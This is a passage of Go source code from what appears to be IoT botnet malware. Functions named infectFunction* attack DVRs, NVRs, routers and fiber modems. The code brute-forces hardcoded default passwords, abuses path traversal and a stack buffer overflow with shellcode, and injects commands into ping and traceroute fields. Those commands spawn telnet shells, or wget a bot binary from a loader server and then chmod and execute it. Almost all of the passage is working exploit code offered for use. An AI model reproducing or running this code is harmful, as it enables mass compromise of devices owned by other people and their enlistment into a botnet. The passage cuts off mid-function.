i)900if err != nil {901return902}903904if exploited == 1 {905fmt.Printf("\x1b[38;5;46mLibdvr\x1b[38;5;15m: \x1b[38;5;134m%s\x1b[38;5;15m potential telnet shell\x1b[38;5;15m\r\n", target)906telnetLoader(splitStr[0] + ":" + strconv.Itoa(port), 0, "arm7", loaderLibdvrTag)907return908}909}910}911912func infectFunctionDvrip(target string) {913914var (915bytebuf []byte = []byte("")916adminPasswords []string = []string{"tlJwpbo6", "S2fGqNFs", "OxhlwSG8", "ORsEWe7l", "nTBCS19C"}917username string = "admin"918password string = ""919attempt int = 0920authed int = 0921)922923conn, err := net.DialTimeout("tcp", target, 10 * time.Second)924if err != nil {925return926}927928for929{930if attempt >= 5 {931break932} else {933password = adminPasswords[attempt]934}935936conn.Write([]byte("\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe8\x03\x64\x00\x00\x00{ \"EncryptType\" : \"MD5\", \"LoginType\" : \"DVRIP-Web\", \"PassWord\" : \"" + password + "\", \"UserName\" : \"" + username + "\" }\x0a"))937938for {939tmpbuf := make([]byte, 128)940ln, err := conn.Read(tmpbuf)941if ln <= 0 || err != nil {942break943}944945bytebuf = append(bytebuf, tmpbuf...)946if strings.Contains(string(bytebuf), "}") {947break948}949}950951dvrret, err := strconv.Atoi(getStringInBetween(string(bytebuf), "\"Ret\" : ", ", \"SessionID"))952if err != nil {953authed = 0954break955}956957if dvrret == DVRIP_OK {958authed = 1959}960961dvrret = DVRIP_NORESP962963if authed == 1 {964break965}966967attempt++968continue969}970971if authed != 1 {972conn.Close()973return974}975976conn.Write([]byte("\xff\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xee\x03\x35\x00\x00\x00{ \"Name\" : \"KeepAlive\", \"SessionID\" : \"0x00000004\" }\x0a"))977zeroByte(bytebuf)978979for {980tmpbuf := make([]byte, 128)981ln, err := conn.Read(tmpbuf)982if ln <= 0 || err != nil {983conn.Close()984return985}986987bytebuf = append(bytebuf, tmpbuf...)988if strings.Contains(string(bytebuf), "}") {989break990}991}992993zeroByte(bytebuf)994conn.Write([]byte("\xff\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0\x05\x73\x00\x00\x00{ \"Name\" : \"OPSystemUpgrade\", \"OPSystemUpgrade\" : { \"Action\" : \"Start\", \"Type\" : \"System\" }, \"SessionID\" : \"0x00000004\" }\x0a"))995996for {997tmpbuf := make([]byte, 128)998ln, err := conn.Read(tmpbuf)999if ln <= 0 || err != nil {1000conn.Close()1001return1002}10031004bytebuf = append(bytebuf, tmpbuf...)1005if strings.Contains(string(bytebuf), "}") {1006break1007}1008}10091010zeroByte(bytebuf)1011conn.Write([]byte("\xff\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf2\x05\x62\x01\x00\x00\x50\x4B\x03\x04\x14\x03\x00\x00\x08\x00\x2C\x87\x1A\x4F\x9A\xF8\xB3\x9E\xC6\x00\x00\x00\x23\x02\x00\x00\x0B\x00\x00\x00\x49\x6E\x73\x74\x61\x6C\x6C\x44\x65\x73\x63\xB5\x90\x3D\x0B\xC2\x30\x10\x86\x77\x7F\xC5\x91\xD9\x62\x15\x1C\x74\xAD\x88\xAE\x56\x5D\xC4\x21\x35\x87\x0D\xC6\xE4\x48\xE2\x47\x91\xFE\x77\xDB\x14\x11\xAB\x8B\x88\x37\x64\x79\xDE\x7B\x2E\x77\xB7\x0E\x00\x5B\xD1\xDE\x72\x81\x89\x39\x1E\xB9\x16\x6C\x0C\x9B\x0E\x54\x55\xB1\x50\xEC\x09\x58\x9A\xA3\x52\xAC\xFB\x20\xE9\xCE\x4A\xF2\x35\xF0\xA8\x34\x7A\x01\x11\xC1\x28\x8E\xFB\x10\x29\xE8\x65\x52\xF7\x5C\xCE\x42\xB8\xEC\x7E\xEF\xCC\x4E\xAE\xC8\xCC\x15\xFE\xE1\x76\x0A\x91\x60\x30\x1C\x0D\xE2\xF8\xF7\x1F\x7E\xB0\x55\xEF\xB6\xEE\x60\x33\x6E\xC5\x85\x5B\x0C\xA2\x83\xA4\x24\xC7\xDD\x81\x05\x94\x9E\x88\x8C\xF5\x53\xC5\x5D\xBE\x2C\x08\xDF\x4F\x1F\xD0\x7C\xF2\xD2\xDB\x1E\x30\xC1\x73\x48\xB4\xED\x6B\xD4\xC2\xD8\x36\x68\x36\x23\xEE\x65\xA6\x70\x8D\xD6\x49\xA3\xAB\x4C\xD4\x6F\xD0\x22\x69\xCD\x2A\xEF\x50\x4B\x01\x02\x3F\x03\x14\x03\x00\x00\x08\x00\x2C\x87\x1A\x4F\x9A\xF8\xB3\x9E\xC6\x00\x00\x00\x23\x02\x00\x00\x0B\x00\x24\x00\x00\x00\x00\x00\x00\x00\x20\x80\xA4\x81\x00\x00\x00\x00\x49\x6E\x73\x74\x61\x6C\x6C\x44\x65\x73\x63\x0A\x00\x20\x00\x00\x00\x00\x00\x01\x00\x18\x00\x00\xCA\x6F\xF3\x26\x5C\xD5\x01\x00\x40\x5B\x5C\x2F\x5C\xD5\x01\x80\xD6\xF3\x5C\x2F\x5C\xD5\x01\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\x5D\x00\x00\x00\xEF\x00\x00\x00\x00\x00"))10121013for {1014tmpbuf := make([]byte, 128)1015ln, err := conn.Read(tmpbuf)1016if ln <= 0 || err != nil {1017conn.Close()1018return1019}10201021bytebuf = append(bytebuf, tmpbuf...)1022if strings.Contains(string(bytebuf), "}") {1023break1024}1025}10261027zeroByte(bytebuf)1028conn.Write([]byte("\xff\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x00\x01\xf2\x05\x00\x00\x00\x00"))10291030splitStr := strings.Split(target, ":")1031time.Sleep(10 * time.Second)10321033fmt.Printf("\x1b[38;5;46mDvrip\x1b[38;5;15m: \x1b[38;5;134m%s\x1b[38;5;15m potential telnet shell opened\x1b[38;5;15m\r\n", target)1034go telnetLoader(splitStr[0] + ":9001", 0, "arm7", loaderDvripTag)10351036conn.Write([]byte("\xFF\x01\x00\x00\x57\x00\x00\x00\x00\x00\x00\x00\x00\x00\xEA\x03\x27\x00\x00\x00{ \"Name\" : \"\", \"SessionID\" : \"0x00000004\" }\x0a"))1037conn.Close()1038return1039}10401041/* ------ END OF THE OTHER STUFF ------ */10421043func ucSofiaCheck(target string, pid string) (found int) {10441045conn, err := net.DialTimeout("tcp", target, 10 * time.Second)1046if err != nil {1047return -11048}10491050defer conn.Close()1051tmp := make([]byte, 256)1052buf := make([]byte, 0, 512)10531054fmt.Fprintf(conn, "GET ../../proc/%s/cmdline HTTP\r\n\r\n", pid)1055for {1056n, err := conn.Read(tmp)1057if err != nil {1058break1059}10601061buf = append(buf, tmp[:n]...)1062}10631064if (strings.Contains(string(buf), "/var/Sofia") || strings.Contains(string(buf), "usr/bin/Sofia") || strings.Contains(string(buf), "system_sofia") || strings.Contains(string(buf), "/var/bin/system_sofia")) && !strings.Contains(string(buf), "dvrHelper") {1065return 11066} else {1067return -11068}1069}10701071func ucGuessSmaps(target string, pid string) (found int) {10721073conn, err := net.DialTimeout("tcp", target, 10 * time.Second)1074if err != nil {1075return -11076}10771078defer conn.Close()1079tmp := make([]byte, 8096)1080buf := make([]byte, 0, 512)10811082fmt.Fprintf(conn, "GET ../../proc/%s/smaps HTTP\r\n\r\n", pid)1083for {1084n, err := conn.Read(tmp)1085if err != nil {1086break1087}10881089buf = append(buf, tmp[:n]...)1090}10911092smapsLines := strings.Split(string(buf), "\n")1093smapsCount := 01094gotRegion := 01095regionsAdded := 010961097for i := 0; i < len(smapsLines); i++ {1098if !strings.Contains(string(smapsLines[i]), "rwxp") {1099continue1100}11011102smapsCount++1103}11041105smapsRegions := make([]*smapsRegion, smapsCount)1106for i := range smapsRegions {1107smapsRegions[i] = &smapsRegion{}1108}11091110for i := 0; i < len(smapsLines); i++ {1111if gotRegion == 8 || gotRegion == 0 {1112if !strings.Contains(string(smapsLines[i]), "rwxp") {1113continue1114}11151116region := strings.Split(string(smapsLines[i]), "-")1117smapsRegions[regionsAdded].region = hexToInt(region[0])11181119for q := 0; q < len(region); q++ {1120region[q] = ""1121}11221123gotRegion = 11124} else {1125if gotRegion == 1 {1126startAt := 01127endAt := 011281129for q := 0; q < len(smapsLines[i]); q++ {1130if startAt == 0 {1131if _, err := strconv.Atoi(smapsLines[i][q:q+1]); err == nil {1132startAt = q1133continue1134}1135}1136if endAt == 0 && startAt > 0 {1137if smapsLines[i][q:q+1] == " " {1138endAt = q1139continue1140}1141}1142}11431144if startAt > 0 && endAt > 0 {1145smapsRegions[regionsAdded].size, _ = strconv.Atoi(smapsLines[i][startAt:endAt])1146gotRegion = 21147continue1148}11491150} else if gotRegion == 2 {1151startAt := 01152endAt := 011531154for q := 0; q < len(smapsLines[i]); q++ {1155if startAt == 0 {1156if _, err := strconv.Atoi(smapsLines[i][q:q+1]); err == nil {1157startAt = q1158continue1159}1160}1161if endAt == 0 && startAt > 0 {1162if smapsLines[i][q:q+1] == " " {1163endAt = q1164continue1165}1166}1167}11681169if startAt > 0 && endAt > 0 {1170smapsRegions[regionsAdded].rss, _ = strconv.Atoi(smapsLines[i][startAt:endAt])1171gotRegion = 31172continue1173}1174} else if gotRegion == 3 {1175startAt := 01176endAt := 011771178for q := 0; q < len(smapsLines[i]); q++ {1179if startAt == 0 {1180if _, err := strconv.Atoi(smapsLines[i][q:q+1]); err == nil {1181startAt = q1182continue1183}1184}1185if endAt == 0 && startAt > 0 {1186if smapsLines[i][q:q+1] == " " {1187endAt = q1188continue1189}1190}1191}11921193if startAt > 0 && endAt > 0 {1194smapsRegions[regionsAdded].pss, _ = strconv.Atoi(smapsLines[i][startAt:endAt])1195gotRegion = 41196continue1197}1198} else if gotRegion == 4 {1199startAt := 01200endAt := 012011202for q := 0; q < len(smapsLines[i]); q++ {1203if startAt == 0 {1204if _, err := strconv.Atoi(smapsLines[i][q:q+1]); err == nil {1205startAt = q1206continue1207}1208}1209if endAt == 0 && startAt > 0 {1210if smapsLines[i][q:q+1] == " " {1211endAt = q1212continue1213}1214}1215}12161217if startAt > 0 && endAt > 0 {1218smapsRegions[regionsAdded].shared_clean, _ = strconv.Atoi(smapsLines[i][startAt:endAt])1219gotRegion = 51220continue1221}1222} else if gotRegion == 5 {1223startAt := 01224endAt := 012251226for q := 0; q < len(smapsLines[i]); q++ {1227if startAt == 0 {1228if _, err := strconv.Atoi(smapsLines[i][q:q+1]); err == nil {1229startAt = q1230continue1231}1232}1233if endAt == 0 && startAt > 0 {1234if smapsLines[i][q:q+1] == " " {1235endAt = q1236continue1237}1238}1239}12401241if startAt > 0 && endAt > 0 {1242smapsRegions[regionsAdded].shared_ditry, _ = strconv.Atoi(smapsLines[i][startAt:endAt])1243gotRegion = 61244continue1245}1246} else if gotRegion == 6 {1247startAt := 01248endAt := 012491250for q := 0; q < len(smapsLines[i]); q++ {1251if startAt == 0 {1252if _, err := strconv.Atoi(smapsLines[i][q:q+1]); err == nil {1253startAt = q1254continue1255}1256}1257if endAt == 0 && startAt > 0 {1258if smapsLines[i][q:q+1] == " " {1259endAt = q1260continue1261}1262}1263}12641265if startAt > 0 && endAt > 0 {1266smapsRegions[regionsAdded].private_clean, _ = strconv.Atoi(smapsLines[i][startAt:endAt])1267gotRegion = 71268continue1269}1270} else if gotRegion == 7 {1271startAt := 01272endAt := 012731274for q := 0; q < len(smapsLines[i]); q++ {1275if startAt == 0 {1276if _, err := strconv.Atoi(smapsLines[i][q:q+1]); err == nil {1277startAt = q1278continue1279}1280}1281if endAt == 0 && startAt > 0 {1282if smapsLines[i][q:q+1] == " " {1283endAt = q1284continue1285}1286}1287}12881289if startAt > 0 && endAt > 0 {1290smapsRegions[regionsAdded].private_dirty, _ = strconv.Atoi(smapsLines[i][startAt:endAt])1291gotRegion = 81292regionsAdded++1293continue1294}1295}12961297gotRegion++1298}1299}13001301for i := len(smapsRegions) - 7; i > 1; i-- {1302if smapsRegions[i].size == 8188 && smapsRegions[i + 1].size == 8188 && smapsRegions[i + 2].size == 8188 && smapsRegions[i + 3].size == 8188 && smapsRegions[i + 4].size == 8188 && smapsRegions[i + 5].size == 8188 && smapsRegions[i + 6].size == 8188 {1303if smapsRegions[i].rss == 4 && smapsRegions[i + 1].rss == 4 && smapsRegions[i + 2].rss == 4 && smapsRegions[i + 3].rss >= 8 && smapsRegions[i + 4].rss >= 4 && smapsRegions[i + 5].rss >= 4 && smapsRegions[i + 6].rss >= 8 {1304return int(smapsRegions[i + 3].region)1305}1306}1307}13081309return 01310}13111312func ucSendBof(target string, offset int) {13131314conn, err := net.DialTimeout("tcp", target, 10 * time.Second)1315if err != nil {1316return1317}13181319defer conn.Close()13201321v := uint32(offset)1322offsetBuf := make([]byte, 4)1323binary.LittleEndian.PutUint32(offsetBuf, v)13241325conn.Write([]byte("GET "))1326conn.Write([]byte(uchttpdShellCode))13271328for i := 0; i < 299 - len(uchttpdShellCode); i ++ {1329conn.Write([]byte("a"))1330}13311332conn.Write([]byte(offsetBuf))1333conn.Write([]byte(" HTTP\r\n\r\n"))13341335buf := make([]byte, 0, 512)1336tmp := make([]byte, 256)13371338for {1339n, err := conn.Read(tmp)1340if err != nil {1341break1342}13431344buf = append(buf, tmp[:n]...)1345}13461347zeroByte(buf)1348zeroByte(tmp)1349}13501351func infectFunctionUchttpd(target string) {13521353var pidStrs[128] string1354var pidsFound int = 013551356conn, err := net.DialTimeout("tcp", target, 10 * time.Second)1357if err != nil {1358return1359}13601361/* Dvrip check */1362go func() {1363ipslit := strings.Split(target, ":")1364tmpconn, err := net.DialTimeout("tcp", ipslit[0] + ":34567", 10 * time.Second)1365if err == nil {1366tmpconn.Close()1367infectFunctionDvrip(ipslit[0] + ":34567")1368}1369} ()1370/* ////////////// */13711372/* Libdvr check */1373go func() {1374ipslit := strings.Split(target, ":")1375tmpconn, err := net.DialTimeout("tcp", ipslit[0] + ":9527", 10 * time.Second)1376if err == nil {1377tmpconn.Close()1378infectFunctionLibdvr(ipslit[0] + ":9527")1379}1380} ()1381/* ////////////// */13821383tmp := make([]byte, 256)1384buf := make([]byte, 0, 512)13851386fmt.Fprintf(conn, "GET ../../proc/ HTTP\r\n\r\n")1387for {1388n, err := conn.Read(tmp)1389if err != nil {1390break1391}13921393buf = append(buf, tmp[:n]...)1394}13951396if !strings.Contains(string(buf), "Index of /mnt/web/") {1397zeroByte(tmp)1398zeroByte(buf)1399conn.Close()1400time.Sleep(10 * time.Second)1401return1402}14031404zeroByte(tmp)1405zeroByte(buf)14061407conn.Close()1408conn, err = net.DialTimeout("tcp", target, 10 * time.Second)1409if err != nil {1410time.Sleep(10 * time.Second)1411return1412}14131414buf = make([]byte, 0, 8096)1415tmp = make([]byte, 256)14161417fmt.Fprintf(conn, "GET ../../proc/ HTTP\r\n\r\n")1418for {1419n, err := conn.Read(tmp)1420if err != nil {1421break1422}14231424buf = append(buf, tmp[:n]...)1425}14261427pids := strings.Split(string(buf), "\n")1428for i := 0; i < len(pids); i++ {1429if i >= 128 {1430break1431}14321433if len(pids[i]) < 38 {1434continue1435}14361437if _, err := strconv.Atoi(pids[i][33:34]); err != nil {1438continue1439}14401441pidstr := pids[i][33:38]1442if _, err := strconv.Atoi(pidstr[0:1]); err == nil {1443if _, err := strconv.Atoi(pidstr[1:2]); err == nil {1444if _, err := strconv.Atoi(pidstr[2:3]); err == nil {1445if _, err := strconv.Atoi(pidstr[3:4]); err == nil {1446if _, err := strconv.Atoi(pidstr[4:5]); err == nil {1447if len(pidstr[0:]) >= 5 {1448pidStrs[pidsFound] = pidstr[0:5]1449pidsFound++1450continue1451}1452} else {1453if len(pidstr[0:]) >= 4 {1454pidStrs[pidsFound] = pidstr[0:4]1455pidsFound++1456continue1457}1458}1459} else {1460if len(pidstr[0:]) >= 3 {1461pidStrs[pidsFound] = pidstr[0:3]1462pidsFound++1463continue1464}1465}1466} else {1467if len(pidstr[0:]) >= 2 {1468pidStrs[pidsFound] = pidstr[0:2]1469pidsFound++1470continue1471}1472}1473} else {1474if len(pidstr[0:]) >= 1 {1475pidStrs[pidsFound] = pidstr[0:1]1476pidsFound++1477continue1478}1479}1480}14811482pidstr = ""1483}14841485zeroByte(buf)1486zeroByte(tmp)14871488if pidsFound <= 5 {1489conn.Close()1490time.Sleep(10 * time.Second)1491return1492}14931494conn.Close()14951496for i := pidsFound; i > 1; i-- {1497retval := ucSofiaCheck(target, pidStrs[i])1498if retval == -1 {1499continue1500}15011502retval = ucGuessSmaps(target, pidStrs[i])1503if retval == -1 {1504continue1505}15061507stackOffset := retval + 0x7fd3d8 + 201508ucSendBof(target, stackOffset)1509break1510}15111512for i := 0; i < pidsFound; i++ {1513pidStrs[i] = ""1514}15151516zeroByte(buf)1517zeroByte(tmp)1518time.Sleep(10 * time.Second)1519return1520}15211522func infectFunctionTvt(target string) {15231524var rdbuf []byte = []byte("")15251526conn, err := net.DialTimeout("tcp", target, 10 * time.Second)1527if err != nil {1528return1529}15301531/* TVT4567 check */1532go func() {1533ipslit := strings.Split(target, ":")1534tmpconn, err := net.DialTimeout("tcp", ipslit[0] + ":4567", 10 * time.Second)1535if err == nil {1536infectFunctionTvt4567(tmpconn)1537}15381539return1540} ()1541/* ////////////// */15421543payload := "<?xml version=\"1.0\" encoding=\"utf-8\"?><request version=\"1.0\" systemType=\"NVMS-9000\" clientType=\"WEB\"><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\"filterTypeMode\">refuse</filterType><filterList type=\"list\"><itemType><addressType type=\"addressType\"/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$("1544payload += tvtWebPayload1545payload += ")</ip></item></filterList></content></request>"15461547cntlen := strconv.Itoa(len(payload))15481549conn.Write([]byte("POST /editBlackAndWhiteList HTTP/1.1\r\nAccept-Encoding: identity\r\nContent-Length: " + cntlen + "\r\nAccept-Language: en-us\r\nHost: " + target + "\r\nAccept: */*\r\nUser-Agent: Mozila/5.0\r\nConnection: close\r\nCache-Control: max-age=0\r\nContent-Type: text/xml\r\nAuthorization: Basic YWRtaW46ezEyMjEzQkQxLTY5QzctNDg2Mi04NDNELTI2MDUwMEQxREE0MH0=\r\n\r\n" + payload + "\r\n\r\n"))15501551for {1552tmpbuf := make([]byte, 128)1553ln, err := conn.Read(tmpbuf)1554if ln <= 0 || err != nil {1555break1556}15571558rdbuf = append(rdbuf, tmpbuf...)1559if strings.Contains(string(rdbuf), "<status>success</status>") {1560fmt.Printf("\x1b[38;5;46mTvt\x1b[38;5;15m: \x1b[38;5;134m%s\x1b[38;5;15m payload sent to device\x1b[38;5;15m\r\n", target)1561payloadSent++1562break1563}1564}15651566conn.Close()1567time.Sleep(10 * time.Second)1568}15691570func infectFunctionFiberhome(target string) {15711572var (1573rdbuf []byte = []byte("")1574authed int = 01575telnetPort int = 01576)15771578conn, err := net.DialTimeout("tcp", target, 10 * time.Second)1579if err != nil {1580return1581}15821583conn.Write([]byte("POST /goform/webLogin HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozila/5.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-GB,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 23\r\nOrigin: http://" + target + "\r\nConnection: keep-alive\r\nReferer: http://" + target + "/login_inter.asp\r\nUpgrade-Insecure-Requests: 1\r\n\r\nUser=admin&Passwd=admin\r\n\r\n"))15841585for {1586tmpbuf := make([]byte, 128)1587ln, err := conn.Read(tmpbuf)1588if ln <= 0 || err != nil {1589break1590}15911592rdbuf = append(rdbuf, tmpbuf...)1593if strings.Contains(string(rdbuf), "Set-Cookie: loginName=admin") {1594authed = 11595break1596}1597}15981599conn.Close()16001601if authed == 0 {1602return1603}16041605conn, err = net.DialTimeout("tcp", target, 10 * time.Second)1606if err != nil {1607return1608}16091610conn.Write([]byte("GET /menu_inter.asp HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozila/5.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-GB,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nReferer: http://" + target + "/login_inter.asp\r\nConnection: keep-alive\r\nCookie: loginName=admin\r\nUpgrade-Insecure-Requests: 1\r\n\r\n"))16111612for {1613tmpbuf := make([]byte, 128)1614ln, err := conn.Read(tmpbuf)1615if ln <= 0 || err != nil {1616break1617}16181619rdbuf = append(rdbuf, tmpbuf...)16201621if strings.Contains(string(rdbuf), "Set-Cookie: loginName=admin") {1622authed = 11623break1624}1625}16261627conn.Close()16281629if fiberRandPort == 1 {1630rand.Seed(time.Now().UnixNano())1631telnetPort = rand.Intn(50000) + 100001632} else {1633telnetPort = fiberStaticPort1634}16351636for i := 0; i < len(fiberSecStrs); i++ {1637conn, err = net.DialTimeout("tcp", target, 10 * time.Second)1638if err != nil {1639return1640}16411642conn.Write([]byte("GET /goform/setPing?ping_ip=;telnetd%20-l/bin/sh%20-p" + strconv.Itoa(telnetPort) + "&requestNum=" + strconv.Itoa(i + 1) + "&diagtype=1&" + fiberSecStrs[i] + " HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozila/5.0\r\nAccept: */*\r\nAccept-Language: en-GB,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nConnection: keep-alive\r\nCookie: loginName=admin\r\n\r\n"))16431644tmpbuf := make([]byte, 128)1645ln, err := conn.Read(tmpbuf)1646if ln <= 0 || err != nil {1647conn.Close()1648break1649}16501651conn.Close()16521653if !strings.Contains(string(rdbuf), "200 OK") {1654return1655}1656}16571658time.Sleep(3 * time.Second)16591660ipslit := strings.Split(target, ":")1661conn, err = net.DialTimeout("tcp", ipslit[0] + ":" + strconv.Itoa(telnetPort), 10 * time.Second)1662if err == nil {1663fmt.Printf("\x1b[38;5;46mFiberhome\x1b[38;5;15m: \x1b[38;5;134m%s\x1b[38;5;15m telnet shell opened\x1b[38;5;15m\r\n", target)1664go telnetLoader(ipslit[0] + ":" + strconv.Itoa(telnetPort), 0, "mips", loaderFiberhomeTag)1665conn.Close()1666}16671668return1669}16701671func infectFunctionVigor(target string) {16721673var rdbuf []byte = []byte("")16741675conn, err := net.DialTimeout("tcp", target, 10 * time.Second)1676if err != nil {1677return1678}16791680payload := "action=login&keyPath=%27%0A%09%2F"1681payload += vigorPayload1682payload += "%27%0A%09%27&loginPwd=a&loginUser=a"1683cntlen := strconv.Itoa(len(payload))16841685conn.Write([]byte("POST /cgi-bin/mainfunction.cgi HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozila/5.0\r\nContent-Length: " + cntlen + "\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept-Encoding: gzip\r\n\r\n" + payload + "\r\n\r\n"))16861687for {1688tmpbuf := make([]byte, 128)1689ln, err := conn.Read(tmpbuf)1690if ln <= 0 || err != nil {1691break1692}16931694rdbuf = append(rdbuf, tmpbuf...)1695if strings.Contains(string(rdbuf), "HTTP/1.1 200 OK") {1696fmt.Printf("\x1b[38;5;46mVigor\x1b[38;5;15m: \x1b[38;5;134m%s\x1b[38;5;15m payload sent to device\x1b[38;5;15m\r\n", target)1697payloadSent++1698break1699}1700}17011702conn.Close()1703}17041705func infectFunctionComtrend(target string) {17061707var (1708rdbuf []byte = []byte("")1709state = 01710sessionKey = "null"1711)17121713conn, err := net.DialTimeout("tcp", target, 10 * time.Second)1714if err != nil {1715return1716}17171718conn.Write([]byte("GET /pingview.cmd HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozila/5.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nAccept-Language: en-GB,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nAuthorization: Basic cm9vdDoxMjM0NQ==\r\nConnection: close\r\nReferer: http://" + target + "/left.html\r\nUpgrade-Insecure-Requests: 1\r\n\r\n"))17191720for {1721tmpbuf := make([]byte, 128)1722ln, err := conn.Read(tmpbuf)1723if ln <= 0 || err != nil {1724break1725}17261727rdbuf = append(rdbuf, tmpbuf...)1728if strings.Contains(string(rdbuf), "&sessionKey=") && strings.Contains(string(rdbuf), "var code = 'location=") && state != 1 {1729sessionKey = getStringInBetween(string(rdbuf), " loc += '&sessionKey=", "';\n}\n\nvar code = 'location=\"' + loc + '\"';\n")17301731if sessionKey == "null" {1732break1733}17341735conn.Close()1736conn, err = net.DialTimeout("tcp", target, 10 * time.Second)1737if err != nil {1738return1739}17401741conn.Write([]byte("GET /ping.cgi?pingIpAddress=;cd%20/mnt;wget%20http://" + loaderDownloadServer + "/multi/wget.sh%20-O-%20>sfs;chmod%20777%20sfs;sh%20sfs%20" + loaderComtrendTag + ";&sessionKey=" + sessionKey + " HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozila/5.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nAccept-Language: en-GB,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nAuthorization: Basic cm9vdDoxMjM0NQ==\r\nConnection: close\r\nReferer: http://" + target + "/ping.cgi\r\nUpgrade-Insecure-Requests: 1\r\n\r\n"))1742state = 11743} else if state == 1 {1744if strings.Contains(string(rdbuf), "function btnPing()") {1745fmt.Printf("\x1b[38;5;46mComtrend\x1b[38;5;15m: \x1b[38;5;134m%s\x1b[38;5;15m payload sent to device\x1b[38;5;15m\r\n", target)1746payloadSent++1747conn.Close()1748return1749}1750}1751}17521753conn.Close()1754}17551756func infectFunctionGponFiber(target string) {17571758var (1759rdbuf []byte = []byte("")1760logins []string = []string{"user:user", "adminisp:adminisp", "admin:stdONU101"}1761stage = 01762)17631764conn, err := net.DialTimeout("tcp", target, 10 * time.Second)1765if err != nil {1766return1767}17681769for i := 0; i < len(logins); i++ {1770loginSplit := strings.Split(logins[i], ":")17711772conn, err := net.DialTimeout("tcp", target, 60 * time.Second)1773if err != nil {1774return1775}17761777cntlen := 141778cntlen = len(loginSplit[0])1779cntlen = len(loginSplit[1])17801781conn.Write([]byte("POST /boaform/admin/formLogin HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozila/5.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-GB,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " + strconv.Itoa(cntlen) + "\r\nOrigin: http://" + target + "\r\nConnection: keep-alive\r\nReferer: http://" + target + "/admin/login.asp\r\nUpgrade-Insecure-Requests: 1\r\n\r\nusername=" + loginSplit[0] + "&psd=" + loginSplit[1] + "\r\n\r\n"))17821783for {1784tmpbuf := make([]byte, 128)1785ln, err := conn.Read(tmpbuf)1786if ln <= 0 || err != nil {1787break1788}17891790rdbuf = append(rdbuf, tmpbuf...)1791if strings.Contains(string(rdbuf), "ERROR:bad password!") {1792zeroByte(rdbuf)1793break1794} else if (strings.Contains(string(rdbuf), "HTTP/1.0 302 Moved Temporarily") || strings.Contains(string(rdbuf), "ERROR:you have logined!")) && stage != 1{1795conn.Close()1796conn, err := net.DialTimeout("tcp", target, 60 * time.Second)1797if err != nil {1798return1799}18001801payload := "target_addr=%3Brm%20-rf%20/var/tmp/stainfo%3Bwget%20http://" + loaderDownloadServer + loaderBinsLocation + "bot.mips%20-O%20->/var/tmp/stainfo%3Bchmod%20777%20/var/tmp/stainfo%3B/var/tmp/stainfo%20" + loaderGponfiberTag + "&waninf=1_INTERNET_R_VID_"1802cntlen := strconv.Itoa(len(payload))18031804conn.Write([]byte("POST /boaform/admin/formTracert HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozila/5.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nAccept-Language: en-GB,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " + cntlen + "\r\nOrigin: http://" + target + "\r\nConnection: close\r\nReferer: http://" + target + "/diag_tracert_admin_en.asp\r\nUpgrade-Insecure-Requests: 1\r\n\r\n" + payload + "\r\n\r\n"))1805stage = 11806zeroByte(rdbuf)1807continue1808} else if stage == 1 {1809if strings.Contains(string(rdbuf), "value=\" OK \"") {1810fmt.Printf("\x1b[38;5;46mGponFiber\x1b[38;5;15m: \x1b[38;5;134m%s:%s:%s\x1b[38;5;15m payload sent to device\x1b[38;5;15m\r\n", target, loginSplit[0], loginSplit[1])1811conn.Close()1812payloadSent++1813return1814}1815}1816}18171818conn.Close()1819}18201821conn.Close()1822}18231824func infectFunctionBroadcomSessionKey(target string, auth string) string {18251826conn, err := net.DialTimeout("tcp", target, 10 * time.Second)1827if err != nil {1828return ""1829}18301831defer conn.Close()1832conn.Write([]byte("GET /ping.html HTTP/1.1\r\nHost: " + target + "\r\nAuthorization: Basic " + auth + "\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0\r\nAccept: text/html\r\nReferer: http://" + target + "/menu.html\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\r\nConnection: close\r\n\r\n"))18331834for {1835bytebuf := make([]byte, 256)1836rdlen, err := conn.Read(bytebuf)1837if err != nil || rdlen <= 0 {1838return ""1839}18401841if strings.Contains(string(bytebuf), "pingHost.cmd") && strings.Contains(string(bytebuf), "&sessionKey=") {1842index1 := strings.Index(string(bytebuf), 